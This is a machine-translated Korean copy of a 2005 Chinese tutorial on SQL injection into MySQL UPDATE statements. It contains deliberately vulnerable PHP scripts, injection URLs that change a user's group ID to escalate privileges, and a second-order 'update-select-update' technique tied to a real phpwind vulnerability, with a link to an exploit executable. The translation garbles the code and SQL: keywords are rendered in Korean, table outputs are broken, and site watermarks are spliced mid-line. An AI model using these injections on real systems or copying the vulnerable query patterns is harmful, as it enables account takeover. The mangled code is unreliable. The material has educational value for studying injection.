이 기사의 작성자: SuperHei
기사 성격: 원본 출시일: 2005-08-14
1. 테스트 환경 네트워크 관리 다운로드 dl.bitscn.com
OS: Windowsxp sp2
PHP: PHP 4.3.10
MySQL 4.1.9
아파치 1.3.33
2. 테스트 데이터베이스 구조
--database: `test`
--
------------------------------------- --------
--
-- 테이블 구조 `userinfo`
--네트워크 관리 네트워크 www_bitscn_com
CREATE TABLE `userinfo`(
`groudid` varchar(12) NOT NULL 기본값 '1',
`user` varchar(12) NOT NULL 기본값 'heige',
`pass` varchar(122) NOT NULL 기본값 '123456'
) TYPE=MyISAM;네트워크 관리자 홈 u.bitsCN.com
--
-- 'userinfo' 테이블의 데이터를 내보냅니다.
--
`userinfo` 값에 삽입('2', 'heige', '123456')
3. 테스트 모드
1. 변수에 '' 또는 ''가 포함되어 있지 않습니다. 중국 네트워크 관리 연합(China Network Management Alliance) bitCN.com
<?php
//test1.php Mod1
$서버이름 = "로컬호스트";
$dbusername = "루트";
$dbpassword = "";
$dbname = "테스트";
mysql_connect($servername,$dbusername,$dbpassword) 또는 die("데이터베이스 연결 실패"); 중국 네트워크 관리 포럼 bbs.bitsCN.com
$sql = "update userinfo set pass=$p where user='heige'";/ / <--$P는 작은따옴표를 사용하지 않습니다.
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);중국 네트워크 관리 포럼 bbs.bitsCN.com
echo "<p>SQL 쿼리:$sql<p>";
?>
스크립트는 user='heige'의 패스만 수정합니다. groupid가 사용자의 권한 수준을 나타내는 경우 우리의 목적은 $p를 구성하여 groupid를 수정하는 것입니다. 그런 다음 다음을 제출합니다.
http://127.0.0.1/test1.php?p=123456,groudid=1
mysql에서 쿼리:
mysql> select * from userinfo;
+---------+-------+--------+
| 사용자 통과 |
+---------+-------+--------+
1 |
+---------+-------+--------+
1행 세트(0.01초)
사용자 헤이지의 grudid가 2에서 1로 변경되었습니다 :)
따라서 '' 또는 ''업데이트 없이 주입이 성공할 수 있다는 것을 알 수 있습니다. 이것이 모드 1입니다.
2. '' 또는 ''가 포함된 변수
<?php
//test2.php
$서버이름 = "로컬호스트";
$dbusername = "루트";
$dbpassword = "";
$dbname = "테스트";
mysql_connect($servername,$dbusername,$dbpassword) 또는 die("데이터베이스 연결 실패");
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P는 작은따옴표를 사용합니다. 중국 네트워크 관리 포럼 bbs.bitsCN.com
$result = mysql_db_query($dbname, $sql ) ;
$userinfo = mysql_fetch_array($result);네트워크 관리 포럼 bbs_bitsCN_com
echo "<p>SQL 쿼리:$sql<p>";
?>
닫으려면 '$p는 123456이어야 합니다.',groudid='2Submit: 중국 네트워크 관리 포럼 bbs.bitsCN.com
http://127.0.0.1/test2.php?p=123456',groudid='1in
gpc = on의 경우 'become'이 되며 제출된 진술은 다음과 같습니다.
SQL 쿼리:update userinfo set pass='123456',groudid='1' 여기서 user='heige'
MySQL 쿼리:
mysql> userinfo에서 *를 선택합니다.
+---------+---------+-------+
| 사용자 통과 |
+---------+---------+-------+
| 2 | 헤이지 |
+---------+---------+-------+
1행 세트(0.00초) 네트워크 관리 비트cn_com
groudid가 수정되지 않았습니다. 그렇다면 변수가 '' 또는 ""일 때 전혀 주입되지 않으면 어떻게 될까요? 대신 모드 2를 살펴보겠습니다.
<?php
//test3.php Mod2
$서버이름 = "로컬호스트";
$dbusername = "루트";
$dbpassword = "";
$dbname = "테스트";
mysql_connect($servername,$dbusername,$dbpassword) 또는 die("데이터베이스 연결 실패");
$sql = "update userinfo set pass='$p' where user='heige'";//<--$P는 작은 따옴표를 사용합니다. 네트워크 관리자ujiau.bitscn@com
$result = mysql_db_query($dbname, $sql) ;
mysql_fetch_array($result); //$p의 데이터가 데이터베이스에 기록됩니다.
$sql= "user='heige'인 userinfo에서 패스 선택";
$result = mysql_db_query($dbname, $sql);
$userinfo=mysql_fetch_array($result);
echo $userinfo[0]; //$userinfo[0]에 대한 패스 쿼리 출력
$sql ="update userinfo set pass='$userinfo[0]' where user='heige' ";
$result = mysql_db_query($dbname, $sql);
mysql_fetch_array($result); //$userinfo[0]을 다시 업데이트합니다.bitsCN.com
?>
테스트하고 다음 주소에 제출하세요. 네트워크 관리 bitcn_com
http://127.0.0.1/test3.php?p=123456',groudid='1
mysql 쿼리로 돌아가기: 네트워크 관리 포럼 bbs_bitsCN_com
mysql> select * from userinfo;
+---------+-------+--------+
| 사용자 통과 |
+---------+-------+--------+
1 |
+---------+-------+--------+
1줄 세트(0.00초)
하하~~ grudid를 1로 성공적으로 주입하고 수정했습니다. 이것이 우리의 모드 2입니다. 간략한 설명은 다음과 같습니다:
업데이트 --> 선택 --> 업데이트
4. 실제 모드
모드 1: 누락
모드 2: phpwind 2.0.2 및 3.31e의 권한 상승 취약점
분석
업데이트(profile.php 주입 변수는 $proicon, 업데이트 문은 icon='$userdb[icon]')
↓
선택 (jop.php)
↓
updtate (jop.php) 네트워크 관리 포럼 bbs_bitsCN_com
익스플로잇: http://www.huij.net/9xiao/up/phpwind-exploit.exe
5. 감사의 말씀
토론과 도움을 준 Saiy와 같은 친구들에게 특별히 감사드립니다. 감사해요!!